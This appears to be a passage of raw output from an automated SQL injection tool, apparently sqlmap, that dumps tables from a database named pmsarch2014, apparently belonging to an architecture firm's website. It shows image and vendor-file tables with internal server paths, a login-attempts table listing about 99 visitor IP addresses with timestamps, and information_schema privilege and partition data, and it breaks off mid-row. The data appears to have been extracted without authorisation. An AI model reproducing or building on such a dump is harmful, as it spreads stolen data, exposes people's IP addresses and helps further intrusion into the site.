base64:type253:MXRwbmVobjQ5dHBuZWhuNDk= | | base64:type253:MXRwbmVobjUwdHBuZWhuNTA= | base64:type253:MXRwbmVobjUwdHBuZWhuNTA= | base64:type253:MXRwbmVobjUwdHBuZWhuNTA= | | base64:type253:MXRwbmVobjUxdHBuZWhuNTE= | base64:type253:MXRwbmVobjUxdHBuZWhuNTE= | base64:type253:MXRwbmVobjUxdHBuZWhuNTE= | | base64:type253:MXRwbmVobjUydHBuZWhuNTI= | base64:type253:MXRwbmVobjUydHBuZWhuNTI= | base64:type253:MXRwbmVobjUydHBuZWhuNTI= | | base64:type253:MXRwbmVobjUzdHBuZWhuNTM= | base64:type253:MXRwbmVobjUzdHBuZWhuNTM= | base64:type253:MXRwbmVobjUzdHBuZWhuNTM= | | base64:type253:MXRwbmVobjU2dHBuZWhuNTY= | base64:type253:MXRwbmVobjU2dHBuZWhuNTY= | base64:type253:MXRwbmVobjU2dHBuZWhuNTY= | | base64:type253:MXRwbmVobjU3dHBuZWhuNTc= | base64:type253:MXRwbmVobjU3dHBuZWhuNTc= | base64:type253:MXRwbmVobjU3dHBuZWhuNTc= | | base64:type253:NnRwbmVobjU4dHBuZWhuNTg= | base64:type253:NnRwbmVobjU4dHBuZWhuNTg= | base64:type253:NnRwbmVobjU4dHBuZWhuNTg= | | base64:type253:NnRwbmVobjU5dHBuZWhuNTk= | base64:type253:NnRwbmVobjU5dHBuZWhuNTk= | base64:type253:NnRwbmVobjU5dHBuZWhuNTk= | | base64:type253:NnRwbmVobjYwdHBuZWhuNjA= | base64:type253:NnRwbmVobjYwdHBuZWhuNjA= | base64:type253:NnRwbmVobjYwdHBuZWhuNjA= | | base64:type253:NnRwbmVobjYxdHBuZWhuNjE= | base64:type253:NnRwbmVobjYxdHBuZWhuNjE= | base64:type253:NnRwbmVobjYxdHBuZWhuNjE= | | base64:type253:NnRwbmVobjYydHBuZWhuNjI= | base64:type253:NnRwbmVobjYydHBuZWhuNjI= | base64:type253:NnRwbmVobjYydHBuZWhuNjI= | | base64:type253:NnRwbmVobjYzdHBuZWhuNjM= | base64:type253:NnRwbmVobjYzdHBuZWhuNjM= | base64:type253:NnRwbmVobjYzdHBuZWhuNjM= | | base64:type253:NnRwbmVobjY0dHBuZWhuNjQ= | base64:type253:NnRwbmVobjY0dHBuZWhuNjQ= | base64:type253:NnRwbmVobjY0dHBuZWhuNjQ= | | base64:type253:NnRwbmVobjY1dHBuZWhuNjU= | base64:type253:NnRwbmVobjY1dHBuZWhuNjU= | base64:type253:NnRwbmVobjY1dHBuZWhuNjU= | | base64:type253:NnRwbmVobjY2dHBuZWhuNjY= | base64:type253:NnRwbmVobjY2dHBuZWhuNjY= | base64:type253:NnRwbmVobjY2dHBuZWhuNjY= | | base64:type253:NnRwbmVobjY3dHBuZWhuNjc= | base64:type253:NnRwbmVobjY3dHBuZWhuNjc= | base64:type253:NnRwbmVobjY3dHBuZWhuNjc= | | base64:type253:NnRwbmVobjY4dHBuZWhuNjg= | base64:type253:NnRwbmVobjY4dHBuZWhuNjg= | base64:type253:NnRwbmVobjY4dHBuZWhuNjg= | | base64:type253:NnRwbmVobjY5dHBuZWhuNjk= | base64:type253:NnRwbmVobjY5dHBuZWhuNjk= | base64:type253:NnRwbmVobjY5dHBuZWhuNjk= | | base64:type253:NnRwbmVobjcwdHBuZWhuNzA= | base64:type253:NnRwbmVobjcwdHBuZWhuNzA= | base64:type253:NnRwbmVobjcwdHBuZWhuNzA= | | base64:type253:NnRwbmVobjcxdHBuZWhuNzE= | base64:type253:NnRwbmVobjcxdHBuZWhuNzE= | base64:type253:NnRwbmVobjcxdHBuZWhuNzE= | | base64:type253:NnRwbmVobjcydHBuZWhuNzI= | base64:type253:NnRwbmVobjcydHBuZWhuNzI= | base64:type253:NnRwbmVobjcydHBuZWhuNzI= | | base64:type253:NnRwbmVobjc0dHBuZWhuNzQ= | base64:type253:NnRwbmVobjc0dHBuZWhuNzQ= | base64:type253:NnRwbmVobjc0dHBuZWhuNzQ= | | base64:type253:N3RwbmVobjc1dHBuZWhuNzU= | base64:type253:N3RwbmVobjc1dHBuZWhuNzU= | base64:type253:N3RwbmVobjc1dHBuZWhuNzU= | | base64:type253:N3RwbmVobjc2dHBuZWhuNzY= | base64:type253:N3RwbmVobjc2dHBuZWhuNzY= | base64:type253:N3RwbmVobjc2dHBuZWhuNzY= | | base64:type253:NnRwbmVobjc4dHBuZWhuNzg= | base64:type253:NnRwbmVobjc4dHBuZWhuNzg= | base64:type253:NnRwbmVobjc4dHBuZWhuNzg= | | base64:type253:NnRwbmVobjc5dHBuZWhuNzk= | base64:type253:NnRwbmVobjc5dHBuZWhuNzk= | base64:type253:NnRwbmVobjc5dHBuZWhuNzk= | | base64:type253:NnRwbmVobjgwdHBuZWhuODA= | base64:type253:NnRwbmVobjgwdHBuZWhuODA= | base64:type253:NnRwbmVobjgwdHBuZWhuODA= | | base64:type253:NnRwbmVobjgxdHBuZWhuODE= | base64:type253:NnRwbmVobjgxdHBuZWhuODE= | base64:type253:NnRwbmVobjgxdHBuZWhuODE= | | base64:type253:NnRwbmVobjgydHBuZWhuODI= | base64:type253:NnRwbmVobjgydHBuZWhuODI= | base64:type253:NnRwbmVobjgydHBuZWhuODI= | | base64:type253:NnRwbmVobjgzdHBuZWhuODM= | base64:type253:NnRwbmVobjgzdHBuZWhuODM= | base64:type253:NnRwbmVobjgzdHBuZWhuODM= | | base64:type253:NnRwbmVobjg0dHBuZWhuODQ= | base64:type253:NnRwbmVobjg0dHBuZWhuODQ= | base64:type253:NnRwbmVobjg0dHBuZWhuODQ= | | base64:type253:NnRwbmVobjg1dHBuZWhuODU= | base64:type253:NnRwbmVobjg1dHBuZWhuODU= | base64:type253:NnRwbmVobjg1dHBuZWhuODU= | | base64:type253:N3RwbmVobjg5dHBuZWhuODk= | base64:type253:N3RwbmVobjg5dHBuZWhuODk= | base64:type253:N3RwbmVobjg5dHBuZWhuODk= | | base64:type253:N3RwbmVobjkwdHBuZWhuOTA= | base64:type253:N3RwbmVobjkwdHBuZWhuOTA= | base64:type253:N3RwbmVobjkwdHBuZWhuOTA= | | base64:type253:NnRwbmVobjkxdHBuZWhuOTE= | base64:type253:NnRwbmVobjkxdHBuZWhuOTE= | base64:type253:NnRwbmVobjkxdHBuZWhuOTE= | | base64:type253:NnRwbmVobjkydHBuZWhuOTI= | base64:type253:NnRwbmVobjkydHBuZWhuOTI= | base64:type253:NnRwbmVobjkydHBuZWhuOTI= | | base64:type253:OHRwbmVobjk1dHBuZWhuOTU= | base64:type253:OHRwbmVobjk1dHBuZWhuOTU= | base64:type253:OHRwbmVobjk1dHBuZWhuOTU= | | base64:type253:MXRwbmVobjEwMXRwbmVobjEwMQ== | base64:type253:MXRwbmVobjEwMXRwbmVobjEwMQ== | base64:type253:MXRwbmVobjEwMXRwbmVobjEwMQ== | | base64:type253:NnRwbmVobjEwMnRwbmVobjEwMg== | base64:type253:NnRwbmVobjEwMnRwbmVobjEwMg== | base64:type253:NnRwbmVobjEwMnRwbmVobjEwMg== | | base64:type253:NnRwbmVobjEwM3RwbmVobjEwMw== | base64:type253:NnRwbmVobjEwM3RwbmVobjEwMw== | base64:type253:NnRwbmVobjEwM3RwbmVobjEwMw== | | base64:type253:MXRwbmVobjEwNHRwbmVobjEwNA== | base64:type253:MXRwbmVobjEwNHRwbmVobjEwNA== | base64:type253:MXRwbmVobjEwNHRwbmVobjEwNA== | | base64:type253:NnRwbmVobjExMnRwbmVobjExMg== | base64:type253:NnRwbmVobjExMnRwbmVobjExMg== | base64:type253:NnRwbmVobjExMnRwbmVobjExMg== | | base64:type253:NnRwbmVobjExNHRwbmVobjExNA== | base64:type253:NnRwbmVobjExNHRwbmVobjExNA== | base64:type253:NnRwbmVobjExNHRwbmVobjExNA== | | base64:type253:NnRwbmVobjExNXRwbmVobjExNQ== | base64:type253:NnRwbmVobjExNXRwbmVobjExNQ== | base64:type253:NnRwbmVobjExNXRwbmVobjExNQ== | | base64:type253:MXRwbmVobjEyMHRwbmVobjEyMA== | base64:type253:MXRwbmVobjEyMHRwbmVobjEyMA== | base64:type253:MXRwbmVobjEyMHRwbmVobjEyMA== | | base64:type253:NnRwbmVobjEyMXRwbmVobjEyMQ== | base64:type253:NnRwbmVobjEyMXRwbmVobjEyMQ== | base64:type253:NnRwbmVobjEyMXRwbmVobjEyMQ== | +---------------------------------------------+---------------------------------------------+---------------------------------------------+ Database: pmsarch2014 Table: vendors_to_files [5 entries] +-----------------------------------------+-----------------------------------------+-----------------------------------------+ | id | vid | fid | +-----------------------------------------+-----------------------------------------+-----------------------------------------+ | base64:type253:MjN0cG5laG4yMHRwbmVobjE1 | base64:type253:MjN0cG5laG4yMHRwbmVobjE1 | base64:type253:MjN0cG5laG4yMHRwbmVobjE1 | | base64:type253:MjR0cG5laG4yMXRwbmVobjE1 | base64:type253:MjR0cG5laG4yMXRwbmVobjE1 | base64:type253:MjR0cG5laG4yMXRwbmVobjE1 | | base64:type253:MjV0cG5laG4yMnRwbmVobjE1 | base64:type253:MjV0cG5laG4yMnRwbmVobjE1 | base64:type253:MjV0cG5laG4yMnRwbmVobjE1 | | base64:type253:MjV0cG5laG4yM3RwbmVobjE3 | base64:type253:MjV0cG5laG4yM3RwbmVobjE3 | base64:type253:MjV0cG5laG4yM3RwbmVobjE3 | | base64:type253:MjV0cG5laG4yNHRwbmVobjE4 | base64:type253:MjV0cG5laG4yNHRwbmVobjE4 | base64:type253:MjV0cG5laG4yNHRwbmVobjE4 | +-----------------------------------------+-----------------------------------------+-----------------------------------------+ Database: pmsarch2014 Table: design6_images [5 entries] +----+---------------------------+-----------------------------------------------------------------+---------+--------------+ | id | title | image | content | design6-id | +----+---------------------------+-----------------------------------------------------------------+---------+--------------+ | 1 | Randell Research Center 1 | design6_Randell-Research-Center-1/Randell-Research-Center-1.jpg | | 1 | | 2 | Randell Research Center 2 | design6_Randell-Research-Center-2/DSC_0025.jpg | | 1 | | 3 | Randell Research Center 3 | design6_Randell-Research-Center-3/DSC_0041.jpg | | 1 | | 4 | Randell Research Center 4 | design6_Randell-Research-Center-4/Randell-Research-Center-1.jpg | | 1 | | 5 | Randell Research Center 5 | design6_Randell-Research-Center-5/Randell-Research-Center-2.jpg | | 1 | +----+---------------------------+-----------------------------------------------------------------+---------+--------------+ Database: pmsarch2014 Table: settings [1 entry] +----+--------+--------------+---------+-----------+ | id | feedId | name | value | default | +----+--------+--------------+---------+-----------+ | 1 | 0 | registration | 0 | 0 | +----+--------+--------------+---------+-----------+ Database: pmsarch2014 Table: loginattempts [99 entries] +-----------------+----------+---------------------+ | IP | Attempts | LastLogin | +-----------------+----------+---------------------+ | 63.75.167.10 | 1 | 2013-03-28 10:38:18 | | 76.2.120.22 | 0 | 2014-02-05 15:08:44 | | 63.247.152.26 | 0 | 2014-08-27 14:00:44 | | 36.74.164.192 | 5 | 2015-01-02 12:12:11 | | 180.115.99.33 | 1 | 2015-05-19 04:03:14 | | 41.108.214.169 | 5 | 2015-12-24 12:58:46 | | 51.36.92.113 | 1 | 2016-10-22 06:12:53 | | 103.254.154.251 | 1 | 2016-10-29 10:35:15 | | 103.254.154.227 | 1 | 2016-10-29 10:35:21 | | 107.151.152.30 | 1 | 2016-12-06 01:29:32 | | 122.195.14.30 | 1 | 2016-12-06 01:32:39 | | 36.84.226.70 | 3 | 2017-03-26 10:00:03 | | 118.137.208.45 | 2 | 2017-03-26 10:42:36 | | 212.252.98.105 | 259 | 2017-04-22 13:30:15 | | 176.234.70.105 | 2 | 2017-04-23 14:31:38 | | 198.7.58.83 | 3 | 2017-05-01 23:38:52 | | 124.106.244.27 | 3 | 2017-05-01 23:55:38 | | 79.143.87.181 | 354 | 2017-05-02 05:18:44 | | 112.202.112.117 | 1 | 2017-05-03 02:39:34 | | 41.199.181.137 | 619 | 2017-05-14 09:20:25 | | 52.60.209.68 | 382 | 2017-05-19 00:14:39 | | 78.180.94.226 | 4 | 2017-06-02 13:19:23 | | 188.232.138.107 | 385 | 2017-06-06 09:52:01 | | 105.109.19.164 | 1 | 2017-06-19 10:02:05 | | 212.96.86.189 | 455 | 2017-09-13 09:17:41 | | 185.134.120.127 | 382 | 2017-09-17 01:38:58 | | 194.87.147.85 | 1683 | 2017-09-27 14:59:42 | | 80.234.99.235 | 179 | 2017-10-28 07:27:01 | | 105.107.39.3 | 10 | 2017-11-12 21:26:31 | | 185.156.172.139 | 574 | 2017-11-23 00:37:09 | | 213.176.238.49 | 382 | 2017-11-23 06:20:07 | | 186.115.85.207 | 4 | 2017-12-10 20:01:30 | | 158.140.167.17 | 2 | 2018-01-22 05:52:29 | | 158.140.171.3 | 3 | 2018-01-22 05:52:30 | | 36.73.234.97 | 3 | 2018-02-18 21:36:53 | | 217.131.86.223 | 1 | 2018-02-20 23:47:17 | | 41.225.195.11 | 3 | 2018-03-10 13:01:56 | | 23.235.227.109 | 1 | 2018-04-04 08:08:33 | | 116.206.9.42 | 2 | 2018-04-05 10:56:29 | | 202.9.85.35 | 1 | 2018-05-02 00:05:53 | | 31.163.8.106 | 382 | 2018-05-14 12:54:29 | | 105.158.86.135 | 2 | 2018-05-15 19:54:59 | | 31.204.251.201 | 2 | 2018-06-09 08:31:48 | | 89.34.21.161 | 1 | 2018-07-11 06:43:33 | | 50.116.51.227 | 8 | 2018-07-11 06:45:45 | | 5.122.147.5 | 2 | 2018-07-19 18:59:30 | | 209.160.121.199 | 3 | 2018-07-20 02:51:35 | | 5.122.252.123 | 17 | 2018-07-20 08:27:41 | | 120.188.66.87 | 1 | 2018-07-20 09:07:59 | | 5.122.21.200 | 1 | 2018-07-20 11:49:26 | | 116.206.40.102 | 2 | 2018-07-20 14:33:32 | | 192.95.47.194 | 19 | 2018-07-21 07:07:15 | | 5.122.19.37 | 1 | 2018-07-21 19:01:39 | | 67.220.189.154 | 7154 | 2018-07-21 19:16:44 | | 73.224.115.74 | 1 | 2018-07-23 15:33:39 | | 185.217.117.58 | 30 | 2018-07-29 04:36:26 | | 182.182.196.225 | 1377 | 2018-08-27 13:38:22 | | 36.76.162.164 | 5 | 2018-09-14 12:07:49 | | 114.124.245.5 | 2 | 2018-09-21 22:03:42 | | 93.169.113.35 | 8 | 2018-09-21 23:39:00 | | 88.236.255.56 | 1104 | 2018-10-18 14:35:06 | | 78.172.154.71 | 7 | 2018-10-25 13:50:45 | | 42.111.5.23 | 4 | 2018-11-09 14:50:16 | | 85.104.151.148 | 10 | 2018-11-11 14:34:18 | | 85.104.152.57 | 1 | 2018-11-19 09:02:47 | | 114.124.132.45 | 1 | 2018-12-23 23:54:03 | | 46.190.82.144 | 1 | 2019-01-04 20:46:31 | | 172.16.1.234 | 0 | 2019-01-16 10:50:32 | | 172.16.3.206 | 0 | 2019-01-16 10:54:45 | | 63.75.167.254 | 0 | 2019-01-16 10:56:19 | | 172.16.1.229 | 0 | 2019-01-16 14:14:19 | | 94.183.25.142 | 6 | 2019-02-06 19:28:44 | | 41.97.96.155 | 1477 | 2019-02-17 07:34:57 | | 46.152.45.138 | 1751 | 2019-02-23 08:45:40 | | 63.75.167.156 | 0 | 2019-02-26 15:54:48 | | 86.107.172.204 | 2016 | 2019-03-09 07:11:42 | | 178.128.95.106 | 7 | 2019-04-17 16:47:48 | | 196.184.158.248 | 3 | 2019-04-22 08:08:09 | | 197.7.143.214 | 3 | 2019-04-22 09:59:29 | | 196.186.75.190 | 69 | 2019-04-23 09:46:55 | | 197.8.132.192 | 453 | 2019-04-25 16:15:21 | | 197.4.214.8 | 33 | 2019-04-27 14:37:28 | | 100.100.100.194 | 496 | 2019-05-31 11:32:58 | | 36.90.78.83 | 2 | 2019-06-12 01:47:08 | | 190.147.29.116 | 389 | 2019-07-03 17:47:46 | | 5.238.185.33 | 1 | 2019-07-18 03:35:19 | | 138.197.147.231 | 4 | 2019-07-18 03:38:51 | | 197.14.137.71 | 1 | 2019-07-20 22:13:00 | | 36.71.234.38 | 1 | 2019-07-21 07:06:52 | | 115.178.221.90 | 2 | 2019-07-23 08:07:36 | | 41.230.101.1 | 1 | 2019-08-19 14:07:29 | | 63.239.19.138 | 0 | 2019-09-05 10:32:37 | | 129.205.112.138 | 303 | 2019-10-20 06:58:59 | | 78.191.2.85 | 4 | 2019-10-29 07:21:43 | | 217.31.162.203 | 18 | 2019-11-01 19:57:31 | | 188.119.30.45 | 1998 | 2020-05-14 10:49:59 | | 103.47.208.106 | 2 | 2020-10-12 23:49:06 | | 63.75.167.53 | 1 | 2021-03-12 10:57:28 | | 192.96.203.71 | 3 | 2021-03-21 10:24:10 | +-----------------+----------+---------------------+ Database: pmsarch2014 Table: design7_images [17 entries] +----+-------------------------------------+-----------------------------------------------------------+---------+--------------+ | id | title | image | content | design7-id | +----+-------------------------------------+-----------------------------------------------------------+---------+--------------+ | 1 | Charlotte L.A. Ainger Middle School | design7_Charlotte-L.A.-Ainger-Middle-School/L.A.jpg | | 1 | | 3 | City of Bonita Springs | design7_City-of-Bonita-Springs/resized.jpg | | 2 | | 4 | 1200-seat-sanctuary | design7_1200-seat-sanctuary/1200-seat-sanctuary.jpg | | 3 | | 5 | Final phase | design7_Final-phase/final-phase.jpg | | 3 | | 6 | ECHO | design7_ECHO/ECHO11x17copy.jpg | | 4 | | 7 | Banyan | design7_Banyan/Banyan.jpg | | 5 | | 8 | Edison-Home | design7_Edison-Home/Edison-Home.jpg | | 5 | | 9 | Museum | design7_Museum/Museum.jpg | | 5 | | 10 | Welcome Center | design7_Welcome-Center/welcome-center.jpg | | 5 | | 13 | North View | design7_North-View/EFWE HP Riverview.jpg | | 5 | | 15 | Edison Home and Guest House | design7_Edison-Home-and-Guest-House/EFWE HP Both Blds.JPG | | 5 | | 16 | Riverfront Park | design7_Riverfront-Park/DSC00313.JPG | | 2 | | 17 | Playground | design7_Playground/playground.jpg | | 7 | | 18 | Building Exterior | design7_Building-Exterior/building1.jpg | | 7 | | 19 | Clubhouse Interior | design7_Clubhouse-Interior/clubhouse_int1.jpg | | 7 | | 20 | Buildings | design7_Buildings/roundabout.jpg | | 7 | | 21 | Signage | design7_Signage/signage.jpg | | 7 | +----+-------------------------------------+-----------------------------------------------------------+---------+--------------+ Database: pmsarch2014 Table: design_images [15 entries] +-----+--------------------------+----------------------------------------------------------------------+---------+-------------+ | id | title | image | content | design-id | +-----+--------------------------+----------------------------------------------------------------------+---------+-------------+ | 251 | Front with Lawn | design_Baker-Center-Front-with-Lawn/Baker-Center-Front-with-Lawn.jpg | | 5 | | 252 | Detail Cupola | design_Baker-Detail-Cupola/Baker-Detail-Cupola.jpg | | 5 | | 253 | Detail Cupola | design_Baker-Center/baker-DSC02596.jpg | | 5 | | 254 | Entry from East | design_Baker-Entry-from-East/Baker-Entry-from-East.jpg | | 5 | | 255 | Front with Sign | design_Baker-Front-with-Sign/Baker-Front-with-Sign.jpg | | 5 | | 257 | Thru the trees | design_Thru-the-trees/new-6-Mile-thru-the-trees.jpg | | 19 | | 258 | Deck | design_Deck/new-Six-Mile-deck-view-2.jpg | | 19 | | 259 | Entry | design_Entry/new-Six-Mile-entry-front-ext.jpg | | 19 | | 260 | Exhibit hall | design_Exhibit-hall/new-Six-Mile-exhibit-hall-1.jpg | | 19 | | 261 | Northeast view | design_Archbold-Biological-Station/Archbold-Biological-Station.jpg | | 20 | | 262 | Learning Center Entrance | design_Archbold-Biological-Station-2/ArchboldBiologicalStation2.jpg | | 20 | | 263 | Archbold Learning Center | design_Archbold-Learning-Center/ArchboldLearningCenter.jpg | | 20 | | 264 | Classroom | design_Classroom/classroom lights on 1 small.jpg | | 20 | | 265 | Learning Center | design_Learning-Center/LC SW view 4 small.jpg | | 20 | | 266 | South View | design_South-View/Overall South view 1 small.jpg | | 20 | +-----+--------------------------+----------------------------------------------------------------------+---------+-------------+ Database: pmsarch2014 Table: vendorfiles [4 entries] +----+------------------------------------------------------------+--------------+-------------------------------------------------------------------------------------------+ | id | url | name | path | +----+------------------------------------------------------------+--------------+-------------------------------------------------------------------------------------------+ | 23 | cms/uploads/vendorSystem/icons.pdf | social icons | E:/Inetpub/wwwroot/michaeldevitohomes.com/cms/uploads/vendorSystem/icons.pdf | | 24 | cms/uploads/vendorSystem/650x300.png | png | E:/Inetpub/wwwroot/michaeldevitohomes.com/cms/uploads/vendorSystem/650x300.png | | 25 | cms/uploads/vendorSystem/socialmedia.jpg | icon | E:/Inetpub/wwwroot/pmsarch.com/cms/uploads/vendorSystem/socialmedia.jpg | | 26 | cms/uploads/vendorSystem/The Math of Getting Broodless.pdf | Pdf | C:/inetpub/wwwroot/pmsarch.com/cms/uploads/vendorSystem/The Math of Getting Broodless.pdf | +----+------------------------------------------------------------+--------------+-------------------------------------------------------------------------------------------+ Database: information_schema Table: USER_PRIVILEGES [1 entry] +-----------------------+--------------+---------------+----------------+ | GRANTEE | IS_GRANTABLE | TABLE_CATALOG | PRIVILEGE_TYPE | +-----------------------+--------------+---------------+----------------+ | 'pmsarch2014@new'@'%' | NO | def | USAGE | +-----------------------+--------------+---------------+----------------+ Database: information_schema Table: COLUMN_PRIVILEGES [0 entries] +---------+------------+-------------+--------------+--------------+---------------+----------------+ | GRANTEE | TABLE_NAME | COLUMN_NAME | IS_GRANTABLE | TABLE_SCHEMA | TABLE_CATALOG | PRIVILEGE_TYPE | +---------+------------+-------------+--------------+--------------+---------------+----------------+ +---------+------------+-------------+--------------+--------------+---------------+----------------+ Database: information_schema Table: PARTITIONS [97 entries] +---------------------+-------------------+-----------+------------+------------+------------+-------------+-------------+-------------+--------------+--------------+---------------+----------------+----------------+-----------------+-----------------+------------------+-------------------+---------------------------------------+---------------------+----------------------+-----------------------+-------------------------+----------------------------+-------------------------------+ | CHECKSUM | NODEGROUP | DATA_FREE | TABLE_ROWS | TABLE_NAME | CHECK_TIME | UPDATE_TIME | CREATE_TIME | DATA_LENGTH | INDEX_LENGTH | TABLE_SCHEMA | TABLE_CATALOG | AVG_ROW_LENGTH | PARTITION_NAME | TABLESPACE_NAME | MAX_DATA_LENGTH | PARTITION_METHOD | SUBPARTITION_NAME | PARTITION_COMMENT | SUBPARTITION_METHOD | PARTITION_EXPRESSION | PARTITION_DESCRIPTION | SUBPARTITION_EXPRESSION | PARTITION_ORDINAL_POSITION | SUBPARTITION_ORDINAL_POSITION | +---------------------+-------------------+-----------+------------+------------+------------+-------------+-------------+-------------+--------------+--------------+---------------+----------------+----------------+-----------------+-----------------+------------------+-------------------+---------------------------------------+---------------------+----------------------+-----------------------+-------------------------+----------------------------+-------------------------------+ | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16434816 | | | | 384 | | | | | | CHARACTER_SETS | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16704765 | | | | 231 | | | | | | COLLATIONS | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16357770 | | | | 195 | | | | | | COLLATION_CHARACTER_SET_APPLICABILITY | | information_schema | 0 | | | | | 0 | 0 | | | | 16384 | | 0 | | def | | | 0 | | | COLUMNS | | | information_schema | | | | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16757145 | | | | 2565 | | | | | | COLUMN_PRIVILEGES | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16574250 | | | | 490 | | | | | | ENGINES | | information_schema | 0 | | | | | 0 | 0 | | | | 16384 | | 0 | | def | | | 0 | | | EVENTS | | | information_schema | | | | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16768412 | | | | 14468 | | | | | | FILES | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16755036 | | | | 3268 | | | | | | GLOBAL_STATUS | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16755036 | | | | 3268 | | | | | | GLOBAL_VARIABLES | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16762755 | | | | 4637 | | | | | | KEY_COLUMN_USAGE | | information_schema | 0 | | | | | 0 | 0 | | | | 16384 | | 0 | | def | | | 0 | | | OPTIMIZER_TRACE | | | information_schema | | | | | | | | 0 | 0 | | | | 16384 | | 0 | | def | | | 0 | | | PARAMETERS | | | information_schema | | | | | | | | 0 | 0 | | | | 16384 | | 0 | | def | | | 0 | | | PARTITIONS | | | information_schema | | | | | | | | 0 | 0 | | | | 16384 | | 0 | | def | | | 0 | | | PLUGINS | | | information_schema | | | | | | | | 0 | 0 | | | | 16384 | | 0 | | def | | | 0 | | | PROCESSLIST | | | information_schema | | | | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16562084 | | | | 308 | | | | | | PROFILING | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16767162 | | | | 4814 | | | | | | REFERENTIAL_CONSTRAINTS | | information_schema | 0 | | | | | 0 | 0 | | | | 16384 | | 0 | | def | | | 0 | | | ROUTINES | | | information_schema | | | | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16738048 | | | | 3464 | | | | | | SCHEMATA | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16736899 | | | | 2179 | | | | | | SCHEMA_PRIVILEGES | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16755036 | | | | 3268 | | | | | | SESSION_STATUS | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16755036 | | | | 3268 | | | | | | SESSION_VARIABLES | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16752736 | | | | 5753 | | | | | | STATISTICS | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16757775 | | | | 9441 | | | | | | TABLES | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16772763 | | | | 6951 | | | | | | TABLESPACES | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16721712 | | | | 2504 | | | | | | TABLE_CONSTRAINTS | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16748692 | | | | 2372 | | | | | | TABLE_PRIVILEGES | | information_schema | 0 | | | | | 0 | 0 | | | | 16384 | | 0 | | def | | | 0 | | | TRIGGERS | | | information_schema | | | | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16726092 | | | | 1986 | | | | | | USER_PRIVILEGES | | information_schema | 0 | | | | | 0 | 0 | | | | 16384 | | 0 | | def | | | 0 | | | VIEWS | | | information_schema | | | | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16746784 | | | | 31244 | | | | | | INNODB_LOCKS | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16746912 | | | | 4536 | | | | | | INNODB_TRX | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16773779 | | | | 12007 | | | | | | INNODB_SYS_DATAFILES | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16705332 | | | | 1163 | | | | | | INNODB_FT_CONFIG | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 11883850 | | | | 17 | | | | | | INNODB_SYS_VIRTUAL | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 13107200 | | | | 25 | | | | | | INNODB_CMP | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 9437184 | | | | 9 | | | | | | INNODB_FT_BEING_DELETED | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 13107200 | | | | 25 | | | | | | INNODB_CMP_RESET | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16728660 | | | | 1755 | | | | | | INNODB_CMP_PER_INDEX | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 15204352 | | | | 29 | | | | | | INNODB_CMPMEM_RESET | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 9437184 | | | | 9 | | | | | | INNODB_FT_DELETED | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16765866 | | | | 6669 | | | | | | INNODB_BUFFER_PAGE_LRU | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16749238 | | | | 599 | | | | | | INNODB_LOCK_WAITS | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16694643 | | | | 1011 | | | | | | INNODB_TEMP_TABLE_INFO | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16615548 | | | | 618 | | | | | | INNODB_SYS_INDEXES | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16736364 | | | | 2091 | | | | | | INNODB_SYS_TABLES | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16609428 | | | | 594 | | | | | | INNODB_SYS_FIELDS | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16728660 | | | | 1755 | | | | | | INNODB_CMP_PER_INDEX_RESET | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16766844 | | | | 6852 | | | 